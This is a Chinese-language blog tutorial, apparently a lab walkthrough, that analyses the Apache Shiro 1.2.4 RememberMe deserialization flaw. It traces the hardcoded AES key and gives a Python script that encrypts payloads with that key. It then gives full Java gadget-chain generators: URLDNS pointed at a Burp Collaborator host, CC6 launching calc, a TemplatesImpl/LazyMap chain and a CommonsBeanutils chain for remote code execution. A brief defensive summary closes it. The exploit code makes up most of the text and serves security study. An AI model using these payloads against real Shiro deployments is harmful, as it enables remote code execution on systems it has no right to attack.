shiro反序列化

dnslog

下载https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

打开web项目,改一下pom.xml

image-20220605155447136

添加version

image-20220605155539053

image-20220605155605630

image-20220730195344391

image-20220730195405211

image-20220605160749710

image-20220605160829014

image-20220605160846417

这里返回了一个极大的cookie,根据经验来看,可能存储了用户的相关信息,推测可能是反序列化

两下shift 找到了这个

image-20220605161101753

我们先看到这个rememberSerializedIdentity()方法可以清楚的看到对数组进行了base64加密操作,接着将base64存入了cookie中

image-20220730210502441

这里的getRememberedSerializedIdentity()方法也可以看出来先获取了cookie中的值

image-20220730210722200

image-20220730210817612

返回了一个decoded数组,我们接着去看看谁调用的这个解码函数 也可以看到AbstractRememberMeManager类的getRememberedPrincipals()方法调用的

image-20220730211249858

image-20220730211915192

这里又接着去调用了decrpt()方法去解密

image-20220730211936678

这里去get了密钥

image-20220730212059776

我们去看看这个decryptionCipherKey是如何赋值的

image-20220730212123744

这里我们也是主要去看set值的地方

image-20220730212216810

接着找

image-20220730212310899

接着找

image-20220730212501710

可以看到这里的值是一个常量

image-20220730212541740

这样我们就可以通过aes算法加base64来构造payload了

加个插件

image-20220605162519354

这里发现cc只是在test阶段,也就是说cc链其实是没有被最后使用的,所以我们不能打cc链

image-20220605162616955

先安包

pip install crypto
pip install pycryptodome

写一下aes利用代码

import sys
import base64
import uuid

from Crypto.Cipher import AES

def get_file_data(filename):
    with open(filename,"rb") as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda  s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext

def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext

if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

如果还是不行的话就改一下文件名从小写crypto改成Crypto

image-20220605165808046

urldns的链

package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {
//        先得到入口点HashMap对象
        HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
//        这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
        URL url = new URL("http://p9zs4jjd3p33527y055v96861x7nvc.burpcollaborator.net");
//        先利用反射将URL类的hashcode进行更改
//        获取url类的class对象
        Class<? extends URL> urlClass = url.getClass();
//        获取hashCode属性
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,111);
//        到这里值已经准备好了

//        将准备好的值put进去
        objectObjectHashMap.put(url,1);

//        将hashCode更改回-1
        hashCodeField.set(url,-1);

        serilize(objectObjectHashMap);
//        unserilize("ser.bin");


    }
    public static void serilize(Object obj)throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);

    }
    public static Object unserilize(String Filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object o = objectInputStream.readObject();
        return o;
    }

}

image-20220605170257048

这里直接打的话还是root登录状态,但是其实我们已经换了key了,这说明这个jsessionid也在起作用

image-20220605170353248

删去之后也是正常收到了dns请求

image-20220605170400586

看一下怎么反序列化的 在DefaultSerializer类的deserialize()

image-20220605180831596

接着我们知道这里的readObject之后就会调用到HashMap的readObject中,所以我们去HashMap下个断点

image-20220605181030372

cc链

既然要打cc就需要加一个cc的依赖

image-20220605184954264

这里如果直接用cc6来试试看

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


//        现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
//        这里原来放的是chainedTransformer 我们给他放一个空的
        Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
        objectObjectHashMap1.put(tiedMapEntry,"bbb");

//        这里将aaa删除
        lazyMap.remove("aaa");

//      我们来改回factory
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        获取这个factory
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
//        这里我们在改回chainedTransformer
        factoryField.set(lazyMap,chainedTransformer);

        serialize(objectObjectHashMap1);
//        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

可见这里出现了问题

image-20220605182301393

从这里看用的不是原生的readObject我们跟过去看看

image-20220605182409164

这里可以看到重写了resolveClass,使用的是ClassUtils的forName,

image-20220605182429123

原生的是CLass

image-20220605182712101

可以看到这个注释

image-20220605182544932

首先是加载一个HashMap

image-20220605192345491

这里可以简单的理解为这个CLassUtil不能处理transform数组,而原生的可以处理,因此我们需要构造一条没有transform数组的链

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class SCC {
    public static void main(String[] args) throws Exception {
//        CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
        byte [][] codes = {code};
        bytecodes.set(templates,codes);

//        CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
//        现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
//        这里原来放的是chainedTransformer 我们给他放一个空的
        Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
        objectObjectHashMap1.put(tiedMapEntry,"bbb");

//        这里将aaa删除
        lazyMap.remove(templates);

//      我们来改回factory
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        获取这个factory
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
//        这里我们在改回chainedTransformer
        factoryField.set(lazyMap,invokerTransformer);

        serialize(objectObjectHashMap1);
//        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

image-20220605185126846

无依赖

删除

image-20220605193815546

我们要打的就是左边lib的commons-benutils

在本地测试项添加依赖

image-20220605194536849

Persion.java

package org.example;

public class Persion {
    private String name;
    public int age;

    public void action(){
        System.out.println("action test");
    }
    @Override
    public String toString() {
        return "Persion{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public Persion() {
    }

    public Persion(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

package org.example;
import org.apache.commons.beanutils.PropertyUtils;
public class BeanTest {
    public static void main(String[] args) throws Exception{
        Persion persion = new Persion("aaa", 18);
        System.out.println(PropertyUtils.getProperty(persion,"name"));
    }
}

image-20220605194626331

源码下不下来 官网下https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/

image-20220605200939007

image-20220605201110506

image-20220605201124722

image-20220605201317980

走到了这里

image-20220605201552152

可见这里走出来之后得到了这个

image-20220605201827468

有个invoke方法

image-20220605201851825

现在要去找谁调用考虑getProperty

image-20220605204004098

找到了这个BeanComprator

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
        byte [][] codes = {code};
        bytecodes.set(templates,codes);

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        Field comparator = priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);


        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

测试一下,可以先清理一下,在重启apache

image-20220605205820671

这里发现没有加载到这个ComparableComparator,原因是这个是cc的,我们需要改成不是cc的

image-20220605210220758

可发现下面还有一个构造函数

image-20220605210301237

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
        byte [][] codes = {code};
        bytecodes.set(templates,codes);

        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        Field comparator = priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);


        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

image-20220605210347234

Shiro反序列化检测是指对Shiro框架可能存在的反序列化漏洞进行检测和防护的一种安全措施。通过该方法,可以防止黑客利用Shiro框架的反序列化漏洞进行攻击。 ShiroJava领域中广泛使用的开源安全框架,用于认证、授权和会话管理等安全功能。然而,由于Java的序列化和反序列化机制的特性,可能导致应用程序在反序列化时存在安全风险。黑客可以通过构造恶意序列化数据,导致应用程序反序列化时执行恶意代码,从而实施攻击,比如远程代码执行、命令注入等。 为了防止这种安全风险,可以在Shiro框架中添加反序列化检测机制。这个机制可以对反序列化的数据进行检查,确保其合法性,并防止执行恶意代码。常见的防护方法包括: 1. 设置白名单:限制反序列化的类的类型和来源,只允许反序列化特定的类。 2. 安全配置:对Shiro框架及相关功能进行正确的安全配置,合理设置权限和角色。 3. 使用SafeXMLDecoder:SafeXMLDecoder是一个安全的XML反序列化工具,可以对输入数据进行验证和过滤,阻止恶意代码的执行。 此外,定期更新Shiro框架和依赖库,确保及时获取最新的安全补丁也是非常重要的。同时,开发人员也需要对Shiro框架和反序列化漏洞有一定的了解,及时关注相关安全动态,以便及时修复和更新。 总之,Shiro反序列化检测是一项重要的安全措施,可以有效预防黑客利用反序列化漏洞对Shiro框架进行攻击。通过合理的安全配置和验证机制,可以提高应用程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值